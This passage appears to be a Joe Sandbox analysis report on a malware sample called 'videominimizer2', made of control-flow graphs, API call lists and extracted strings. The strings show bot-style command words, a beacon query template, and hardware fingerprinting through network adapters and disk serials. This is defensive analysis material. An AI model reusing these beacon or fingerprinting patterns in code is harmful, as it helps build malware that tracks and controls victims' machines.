                                                                                                                                                                                                                                      control_flow_graph 0 2d85e4f-2d860dd RtlInitializeCriticalSection GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress call 2d842c7 GetTickCount call 2d859fa GetVersionExA call 2d93750 call 2d91fac * 8 GetProcessHeap RtlAllocateHeap GetProcessHeap RtlAllocateHeap GetProcessHeap RtlAllocateHeap call 2d93750 * 3 RtlEnterCriticalSection RtlLeaveCriticalSection call 2d91fac * 4 QueryPerformanceCounter Sleep call 2d91fac * 2 call 2d93750 * 2 45 2d860e1-2d860e3 0->45 46 2d860ec-2d860ee 45->46 47 2d860e5-2d860ea 45->47 49 2d860fb-2d86439 RtlEnterCriticalSection RtlLeaveCriticalSection 46->49 50 2d860f0 46->50 48 2d860f5 Sleep 47->48 48->49 53 2d8643b-2d86441 49->53 54 2d86455-2d8645f 49->54 50->48 55 2d86443-2d86445 53->55 56 2d86447-2d86454 call 2d8534d 53->56 54->45 57 2d86465-2d86489 call 2d93750 call 2d8439c 54->57 55->54 56->54 57->45 64 2d8648f-2d864ba RtlEnterCriticalSection RtlLeaveCriticalSection call 2d9133c 57->64 67 2d864bc-2d864cb call 2d9133c 64->67 68 2d86504-2d8651c call 2d9133c 64->68 67->68 75 2d864cd-2d864dc call 2d9133c 67->75 73 2d86522-2d86524 68->73 74 2d867c3-2d867d2 call 2d9133c 68->74 73->74 77 2d8652a-2d865d5 call 2d91fac RtlEnterCriticalSection RtlLeaveCriticalSection call 2d93750 * 5 call 2d8439c * 2 73->77 82 2d867d4-2d867d6 74->82 83 2d86817-2d86826 call 2d9133c 74->83 75->68 85 2d864de-2d864ed call 2d9133c 75->85 127 2d86612 77->127 128 2d865d7-2d865d9 77->128 82->83 86 2d867d8-2d86812 call 2d93750 RtlEnterCriticalSection RtlLeaveCriticalSection 82->86 95 2d86828 call 2d85c02 83->95 96 2d8683b-2d8684a call 2d9133c 83->96 85->68 98 2d864ef-2d864fe call 2d9133c 85->98 86->45 105 2d8682d-2d86836 call 2d85d10 95->105 96->45 107 2d86850-2d86852 96->107 98->45 98->68 105->45 107->45 110 2d86858-2d86871 call 2d8439c 107->110 110->45 118 2d86877-2d86946 call 2d91418 call 2d81ba7 110->118 129 2d86948 call 2d8143f 118->129 130 2d8694d-2d8696e RtlEnterCriticalSection 118->130 131 2d86616-2d86644 call 2d91fac call 2d93750 call 2d8439c 127->131 128->127 132 2d865db-2d865ed call 2d9133c 128->132 129->130 134 2d8697a-2d869e1 RtlLeaveCriticalSection call 2d83c67 call 2d83d7e call 2d87330 130->134 135 2d86970-2d86977 130->135 153 2d86685-2d8668e call 2d91f74 131->153 154 2d86646-2d86655 call 2d925e6 131->154 132->127 144 2d865ef-2d86610 call 2d8439c 132->144 155 2d86b49-2d86b5d call 2d87ff8 134->155 156 2d869e7-2d86a29 call 2d8971a 134->156 135->134 144->131 165 2d867b1-2d867be 153->165 166 2d86694-2d866ac call 2d927b5 153->166 154->153 167 2d86657 154->167 155->45 168 2d86a2f-2d86a36 156->168 169 2d86b13-2d86b44 call 2d873df call 2d833b2 156->169 165->45 178 2d866b8 166->178 179 2d866ae-2d866b6 call 2d8872c 166->179 172 2d8665c-2d8666e call 2d91850 167->172 173 2d86a39-2d86a3e 168->173 169->155 184 2d86670 172->184 185 2d86673-2d86683 call 2d925e6 172->185 173->173 177 2d86a40-2d86a85 call 2d8971a 173->177 177->169 191 2d86a8b-2d86a91 177->191 186 2d866ba-2d8675e call 2d89844 call 2d83863 call 2d85119 call 2d83863 call 2d89aea call 2d89c04 178->186 179->186 184->185 185->153 185->172 211 2d86760 call 2d8380b 186->211 212 2d86765-2d8677c Sleep call 2d908f0 186->212 194 2d86a94-2d86a99 191->194 194->194 195 2d86a9b-2d86ad6 call 2d8971a 194->195 195->169 201 2d86ad8-2d86b12 call 2d8c10c 195->201 201->169 211->212 215 2d86781-2d86790 212->215 216 2d8679c-2d867aa 215->216 217 2d86792-2d8679b call 2d84100 215->217 216->165 219 2d867ac call 2d8380b 216->219 217->216 219->165
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlInitializeCriticalSection.NTDLL(02DB4FC8), ref: 02D85E83
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(ntdll.dll,sprintf), ref: 02D85E9A
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000), ref: 02D85EA3
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(ntdll.dll,strcat), ref: 02D85EB2
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000), ref: 02D85EB5
                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 02D85EC9
                                                                                                                                                                                                                                        • Part of subcall function 02D859FA: _malloc.LIBCMT ref: 02D85A08
                                                                                                                                                                                                                                      • GetVersionExA.KERNEL32(02DB4E18), ref: 02D85EF6
                                                                                                                                                                                                                                      • _memset.LIBCMT ref: 02D85F15
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D85F22
                                                                                                                                                                                                                                        • Part of subcall function 02D91FAC: __FF_MSGBANNER.LIBCMT ref: 02D91FC3
                                                                                                                                                                                                                                        • Part of subcall function 02D91FAC: __NMSG_WRITE.LIBCMT ref: 02D91FCA
                                                                                                                                                                                                                                        • Part of subcall function 02D91FAC: RtlAllocateHeap.NTDLL(00980000,00000000,00000001), ref: 02D91FEF
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D85F32
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D85F3D
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D85F48
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D85F53
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D85F5E
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D85F69
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D85F75
                                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000004), ref: 02D85F8C
                                                                                                                                                                                                                                      • RtlAllocateHeap.NTDLL(00000000), ref: 02D85F95
                                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000400), ref: 02D85FA1
                                                                                                                                                                                                                                      • RtlAllocateHeap.NTDLL(00000000), ref: 02D85FA4
                                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000400), ref: 02D85FAF
                                                                                                                                                                                                                                      • RtlAllocateHeap.NTDLL(00000000), ref: 02D85FB2
                                                                                                                                                                                                                                      • _memset.LIBCMT ref: 02D85FC2
                                                                                                                                                                                                                                      • _memset.LIBCMT ref: 02D85FCE
                                                                                                                                                                                                                                      • _memset.LIBCMT ref: 02D85FDB
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D85FE9
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D85FF6
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D86017
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D86025
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D8602C
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D8604D
                                                                                                                                                                                                                                      • QueryPerformanceCounter.KERNEL32(00000200), ref: 02D86059
                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000000), ref: 02D86067
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D86073
                                                                                                                                                                                                                                      • _malloc.LIBCMT ref: 02D86083
                                                                                                                                                                                                                                      • _memset.LIBCMT ref: 02D86098
                                                                                                                                                                                                                                      • _memset.LIBCMT ref: 02D860A8
                                                                                                                                                                                                                                      • Sleep.KERNEL32(0000EA60), ref: 02D860F5
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D86100
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D86111
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _malloc$Heap$_memset$CriticalSection$Allocate$Process$AddressEnterHandleLeaveModuleProcSleep$CountCounterInitializePerformanceQueryTickVersion
                                                                                                                                                                                                                                      • String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$gpt=%.8x&advizor=%d&box=%d&hp=%x&lp=%x&line=%d&os=%d.%d.%04d&flag=%d&itd=%d$ntdll.dll$sprintf$strcat
                                                                                                                                                                                                                                      • API String ID: 1856495841-1038016512
                                                                                                                                                                                                                                      • Opcode ID: 4dd9a4d3ab0378b7a9b988856786274644cef30668b1f06d68eb4afac1fb4cae
                                                                                                                                                                                                                                      • Instruction ID: 5cbde370428dd19746f7904b8cf5558884c94dd0b3f9e809a0ead3b35de1a94a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4dd9a4d3ab0378b7a9b988856786274644cef30668b1f06d68eb4afac1fb4cae
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F371A271D88340ABD711AF74A829B5B7BD8EF8A310F540C19F59897381DB788C158BA6

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 689 401b4b-401b68 LoadLibraryA 690 401c21-401c25 689->690 691 401b6e-401b7f GetProcAddress 689->691 692 401b85-401b8e 691->692 693 401c18-401c1b FreeLibrary 691->693 694 401b95-401ba5 GetAdaptersInfo 692->694 693->690 695 401ba7-401bb0 694->695 696 401bdb-401be3 694->696 699 401bc1-401bd7 call 403120 call 4018cc 695->699 700 401bb2-401bb6 695->700 697 401be5-401beb call 403106 696->697 698 401bec-401bf0 696->698 697->698 702 401bf2-401bf6 698->702 703 401c15-401c17 698->703 699->696 700->696 704 401bb8-401bbf 700->704 702->703 707 401bf8-401bfb 702->707 703->693 704->699 704->700 709 401c06-401c13 call 4030f8 707->709 710 401bfd-401c03 707->710 709->694 709->703 710->709
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00401B5D
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 00401B74
                                                                                                                                                                                                                                      • GetAdaptersInfo.IPHLPAPI(?,00000400), ref: 00401B9D
                                                                                                                                                                                                                                      • FreeLibrary.KERNEL32(00401A3E), ref: 00401C1B
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Library$AdaptersAddressFreeInfoLoadProc
                                                                                                                                                                                                                                      • String ID: GetAdaptersInfo$iphlpapi.dll$o
                                                                                                                                                                                                                                      • API String ID: 514930453-3667123677
                                                                                                                                                                                                                                      • Opcode ID: a648eded5dba78bf16f4a137e2c2b6b7b052dc293c02733a72e5b458839b5e0e
                                                                                                                                                                                                                                      • Instruction ID: a9f54c968f2091474e8feb0d981771773be25d9c6ef5ebc30493122ab1168d3f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a648eded5dba78bf16f4a137e2c2b6b7b052dc293c02733a72e5b458839b5e0e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E821B870904209AEDF219F65C9447EF7FB8EF45345F0440BAE604B62A1E7389A85CB69

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 763 2d8e99c-2d8e9bf LoadLibraryA 764 2d8ea7f-2d8ea86 763->764 765 2d8e9c5-2d8e9d3 GetProcAddress 763->765 766 2d8ea78-2d8ea79 FreeLibrary 765->766 767 2d8e9d9-2d8e9e9 765->767 766->764 768 2d8e9eb-2d8e9f7 GetAdaptersInfo 767->768 769 2d8e9f9 768->769 770 2d8ea2f-2d8ea37 768->770 773 2d8e9fb-2d8ea02 769->773 771 2d8ea39-2d8ea3f call 2d926cf 770->771 772 2d8ea40-2d8ea45 770->772 771->772 775 2d8ea73-2d8ea77 772->775 776 2d8ea47-2d8ea4a 772->776 777 2d8ea0c-2d8ea14 773->777 778 2d8ea04-2d8ea08 773->778 775->766 776->775 781 2d8ea4c-2d8ea51 776->781 779 2d8ea17-2d8ea1c 777->779 778->773 782 2d8ea0a 778->782 779->779 783 2d8ea1e-2d8ea2b call 2d8e6eb 779->783 784 2d8ea5e-2d8ea69 call 2d927b5 781->784 785 2d8ea53-2d8ea5b 781->785 782->770 783->770 784->775 790 2d8ea6b-2d8ea6e 784->790 785->784 790->768
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 02D8E9B2
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 02D8E9CB
                                                                                                                                                                                                                                      • GetAdaptersInfo.IPHLPAPI(?,?), ref: 02D8E9F0
                                                                                                                                                                                                                                      • FreeLibrary.KERNEL32(00000000), ref: 02D8EA79
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Library$AdaptersAddressFreeInfoLoadProc
                                                                                                                                                                                                                                      • String ID: GetAdaptersInfo$iphlpapi.dll
                                                                                                                                                                                                                                      • API String ID: 514930453-3114217049
                                                                                                                                                                                                                                      • Opcode ID: 30e1f4ef238467c6b541b328e3599e0f71f7e1c18456c3859970dae03305e477
                                                                                                                                                                                                                                      • Instruction ID: f6071b3310d5f04715cd4412be80ba86d167f77fea264e1a59a3acfe6548e38c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 30e1f4ef238467c6b541b328e3599e0f71f7e1c18456c3859970dae03305e477
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E321A075E08219ABDB10EFA8D884AEEBBB8EF05714F1440A9F545E7301D7709E45CFA4

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 848 2d8e898-2d8e8c3 CreateFileA 849 2d8e8c9-2d8e8de 848->849 850 2d8e994-2d8e99b 848->850 851 2d8e8e1-2d8e903 DeviceIoControl 849->851 852 2d8e93c-2d8e944 851->852 853 2d8e905-2d8e90d 851->853 856 2d8e94d-2d8e94f 852->856 857 2d8e946-2d8e94c call 2d926cf 852->857 854 2d8e90f-2d8e914 853->854 855 2d8e916-2d8e91b 853->855 854->852 855->852 861 2d8e91d-2d8e925 855->861 859 2d8e98a-2d8e993 CloseHandle 856->859 860 2d8e951-2d8e954 856->860 857->856 859->850 863 2d8e970-2d8e97d call 2d927b5 860->863 864 2d8e956-2d8e95f GetLastError 860->864 865 2d8e928-2d8e92d 861->865 863->859 872 2d8e97f-2d8e985 863->872 864->859 866 2d8e961-2d8e964 864->866 865->865 868 2d8e92f-2d8e93b call 2d8e6eb 865->868 866->863 869 2d8e966-2d8e96d 866->869 868->852 869->863 872->851
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 02D8E8B7
                                                                                                                                                                                                                                      • DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000400,?,00000000), ref: 02D8E8F5
                                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02D8E956
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?), ref: 02D8E98D
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseControlCreateDeviceErrorFileHandleLast
                                                                                                                                                                                                                                      • String ID: \\.\PhysicalDrive0
                                                                                                                                                                                                                                      • API String ID: 4026078076-1180397377
                                                                                                                                                                                                                                      • Opcode ID: 17467e55e48b0f179dcb3246b974aecde7426187c135ba4cfa94f935aa65929d
                                                                                                                                                                                                                                      • Instruction ID: 8b833e6bcb8f9d29d4a65ab39b1045601ceecd783e453ca28a1333c5ecc112e4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 17467e55e48b0f179dcb3246b974aecde7426187c135ba4cfa94f935aa65929d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 52317C71D00229EBDB24EF95D885BAEBBB8EF05714F24416AF505A7380D7B05E05CFA4

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 874 401a4f-401a77 CreateFileA 875 401b45-401b4a 874->875 876 401a7d-401a91 874->876 877 401a98-401ac0 DeviceIoControl 876->877 878 401ac2-401aca 877->878 879 401af3-401afb 877->879 882 401ad4-401ad9 878->882 883 401acc-401ad2 878->883 880 401b04-401b07 879->880 881 401afd-401b03 call 403106 879->881 885 401b09-401b0c 880->885 886 401b3a-401b44 CloseHandle 880->886 881->880 882->879 887 401adb-401af1 call 403120 call 4018cc 882->887 883->879 889 401b27-401b34 call 4030f8 885->889 890 401b0e-401b17 GetLastError 885->890 886->875 887->879 889->877 889->886 890->886 893 401b19-401b1c 890->893 893->889 896 401b1e-401b24 893->896 896->889
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 00401A6B
                                                                                                                                                                                                                                      • DeviceIoControl.KERNEL32(?,002D1400,?,0000000C,?,00000400,00000400,00000000), ref: 00401AB2
                                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00401B0E
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?), ref: 00401B3D
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseControlCreateDeviceErrorFileHandleLast
                                                                                                                                                                                                                                      • String ID: \\.\PhysicalDrive0
                                                                                                                                                                                                                                      • API String ID: 4026078076-1180397377
                                                                                                                                                                                                                                      • Opcode ID: 5b2aa4f6f1db506efa266d4c362af4cf52cfeed2701d30c33ae5bfe5944f1550
                                                                                                                                                                                                                                      • Instruction ID: ae54cd8959710a424601ffd4623f532e2396a469a493930b182490efebea7a61
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5b2aa4f6f1db506efa266d4c362af4cf52cfeed2701d30c33ae5bfe5944f1550
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 50318D71D01118EECB21EF95CD809EFBBB8EF45750F20807AE514B22A0E7785E45CB98
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FileInternetRead
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 778332206-0
                                                                                                                                                                                                                                      • Opcode ID: 2feb064256129b6ff759070ea12fc26625f3c775474397e332eed8ccac0667d3
                                                                                                                                                                                                                                      • Instruction ID: 41d1130dc88cd57a231cf236615a9f4b68d327cb7fc24f12ff37e1127235e9cc
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2feb064256129b6ff759070ea12fc26625f3c775474397e332eed8ccac0667d3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DD0184B240C7049FD7087E69EC8967AF7E4EF59710F11452DE2C047744EA7564418AD7

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 222 2d8636a-2d8636c 223 2d863dd 222->223 224 2d8636e-2d8637c 222->224 227 2d8641d-2d86439 223->227 228 2d863df-2d863f0 223->228 225 2d8633e-2d8634f 224->225 226 2d8637e-2d86398 224->226 229 2d86350-2d8635c 225->229 230 2d863a9-2d863b4 226->230 231 2d8639a-2d863a8 226->231 232 2d8643b-2d86441 227->232 233 2d86455-2d8645f 227->233 228->227 234 2d8635d-2d86368 229->234 230->229 235 2d863b6-2d863ca 230->235 231->230 236 2d86443-2d86445 232->236 237 2d86447-2d86454 call 2d8534d 232->237 238 2d860e1-2d860e3 233->238 239 2d86465-2d86489 call 2d93750 call 2d8439c 233->239 234->222 235->234 242 2d863cc-2d863db 235->242 236->233 237->233 240 2d860ec-2d860ee 238->240 241 2d860e5-2d860ea 238->241 239->238 253 2d8648f-2d864ba RtlEnterCriticalSection RtlLeaveCriticalSection call 2d9133c 239->253 247 2d860fb-2d8641b RtlEnterCriticalSection RtlLeaveCriticalSection 240->247 248 2d860f0 240->248 246 2d860f5 Sleep 241->246 242->223 246->247 247->227 248->246 256 2d864bc-2d864cb call 2d9133c 253->256 257 2d86504-2d8651c call 2d9133c 253->257 256->257 264 2d864cd-2d864dc call 2d9133c 256->264 262 2d86522-2d86524 257->262 263 2d867c3-2d867d2 call 2d9133c 257->263 262->263 266 2d8652a-2d865d5 call 2d91fac RtlEnterCriticalSection RtlLeaveCriticalSection call 2d93750 * 5 call 2d8439c * 2 262->266 271 2d867d4-2d867d6 263->271 272 2d86817-2d86826 call 2d9133c 263->272 264->257 274 2d864de-2d864ed call 2d9133c 264->274 316 2d86612 266->316 317 2d865d7-2d865d9 266->317 271->272 275 2d867d8-2d86812 call 2d93750 RtlEnterCriticalSection RtlLeaveCriticalSection 271->275 284 2d86828-2d86836 call 2d85c02 call 2d85d10 272->284 285 2d8683b-2d8684a call 2d9133c 272->285 274->257 287 2d864ef-2d864fe call 2d9133c 274->287 275->238 284->238 285->238 296 2d86850-2d86852 285->296 287->238 287->257 296->238 299 2d86858-2d86871 call 2d8439c 296->299 299->238 307 2d86877-2d86946 call 2d91418 call 2d81ba7 299->307 318 2d86948 call 2d8143f 307->318 319 2d8694d-2d8696e RtlEnterCriticalSection 307->319 320 2d86616-2d86644 call 2d91fac call 2d93750 call 2d8439c 316->320 317->316 321 2d865db-2d865ed call 2d9133c 317->321 318->319 323 2d8697a-2d869e1 RtlLeaveCriticalSection call 2d83c67 call 2d83d7e call 2d87330 319->323 324 2d86970-2d86977 319->324 342 2d86685-2d8668e call 2d91f74 320->342 343 2d86646-2d86655 call 2d925e6 320->343 321->316 333 2d865ef-2d86610 call 2d8439c 321->333 344 2d86b49-2d86b5d call 2d87ff8 323->344 345 2d869e7-2d86a29 call 2d8971a 323->345 324->323 333->320 354 2d867b1-2d867be 342->354 355 2d86694-2d866ac call 2d927b5 342->355 343->342 356 2d86657 343->356 344->238 357 2d86a2f-2d86a36 345->357 358 2d86b13-2d86b44 call 2d873df call 2d833b2 345->358 354->238 367 2d866b8 355->367 368 2d866ae-2d866b6 call 2d8872c 355->368 361 2d8665c-2d8666e call 2d91850 356->361 362 2d86a39-2d86a3e 357->362 358->344 373 2d86670 361->373 374 2d86673-2d86683 call 2d925e6 361->374 362->362 366 2d86a40-2d86a85 call 2d8971a 362->366 366->358 380 2d86a8b-2d86a91 366->380 375 2d866ba-2d8675e call 2d89844 call 2d83863 call 2d85119 call 2d83863 call 2d89aea call 2d89c04 367->375 368->375 373->374 374->342 374->361 400 2d86760 call 2d8380b 375->400 401 2d86765-2d86790 Sleep call 2d908f0 375->401 383 2d86a94-2d86a99 380->383 383->383 384 2d86a9b-2d86ad6 call 2d8971a 383->384 384->358 390 2d86ad8-2d86b12 call 2d8c10c 384->390 390->358 400->401 405 2d8679c-2d867aa 401->405 406 2d86792-2d8679b call 2d84100 401->406 405->354 408 2d867ac call 2d8380b 405->408 406->405 408->354
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID: $%d;$<htm$Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$auth_ip$auth_swith$block$connect$disconnect$idle$updips$updurls
                                                                                                                                                                                                                                      • API String ID: 0-2823103634
                                                                                                                                                                                                                                      • Opcode ID: cb128090e432766981b6c8be0195434a98a9a37727704b66f7f4078ddaddd60c
                                                                                                                                                                                                                                      • Instruction ID: 8e3a7ede098804e63d8f6a6f3caab516342aaf28f442266f299cacbb21db681b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cb128090e432766981b6c8be0195434a98a9a37727704b66f7f4078ddaddd60c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E92246316083819BD725EB24D851BAF7BE9EF86724F10491EE4C997381EB71DC05CBA2

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 411 2d863fe-2d86439 413 2d8643b-2d86441 411->413 414 2d86455-2d8645f 411->414 415 2d86443-2d86445 413->415 416 2d86447-2d86454 call 2d8534d 413->416 417 2d860e1-2d860e3 414->417 418 2d86465-2d86489 call 2d93750 call 2d8439c 414->418 415->414 416->414 419 2d860ec-2d860ee 417->419 420 2d860e5-2d860ea 417->420 418->417 430 2d8648f-2d864ba RtlEnterCriticalSection RtlLeaveCriticalSection call 2d9133c 418->430 425 2d860fb-2d8612a RtlEnterCriticalSection RtlLeaveCriticalSection 419->425 426 2d860f0 419->426 424 2d860f5 Sleep 420->424 424->425 425->411 426->424 433 2d864bc-2d864cb call 2d9133c 430->433 434 2d86504-2d8651c call 2d9133c 430->434 433->434 441 2d864cd-2d864dc call 2d9133c 433->441 439 2d86522-2d86524 434->439 440 2d867c3-2d867d2 call 2d9133c 434->440 439->440 443 2d8652a-2d865d5 call 2d91fac RtlEnterCriticalSection RtlLeaveCriticalSection call 2d93750 * 5 call 2d8439c * 2 439->443 448 2d867d4-2d867d6 440->448 449 2d86817-2d86826 call 2d9133c 440->449 441->434 451 2d864de-2d864ed call 2d9133c 441->451 493 2d86612 443->493 494 2d865d7-2d865d9 443->494 448->449 452 2d867d8-2d86812 call 2d93750 RtlEnterCriticalSection RtlLeaveCriticalSection 448->452 461 2d86828-2d86836 call 2d85c02 call 2d85d10 449->461 462 2d8683b-2d8684a call 2d9133c 449->462 451->434 464 2d864ef-2d864fe call 2d9133c 451->464 452->417 461->417 462->417 473 2d86850-2d86852 462->473 464->417 464->434 473->417 476 2d86858-2d86871 call 2d8439c 473->476 476->417 484 2d86877-2d86946 call 2d91418 call 2d81ba7 476->484 495 2d86948 call 2d8143f 484->495 496 2d8694d-2d8696e RtlEnterCriticalSection 484->496 497 2d86616-2d86644 call 2d91fac call 2d93750 call 2d8439c 493->497 494->493 498 2d865db-2d865ed call 2d9133c 494->498 495->496 500 2d8697a-2d869e1 RtlLeaveCriticalSection call 2d83c67 call 2d83d7e call 2d87330 496->500 501 2d86970-2d86977 496->501 519 2d86685-2d8668e call 2d91f74 497->519 520 2d86646-2d86655 call 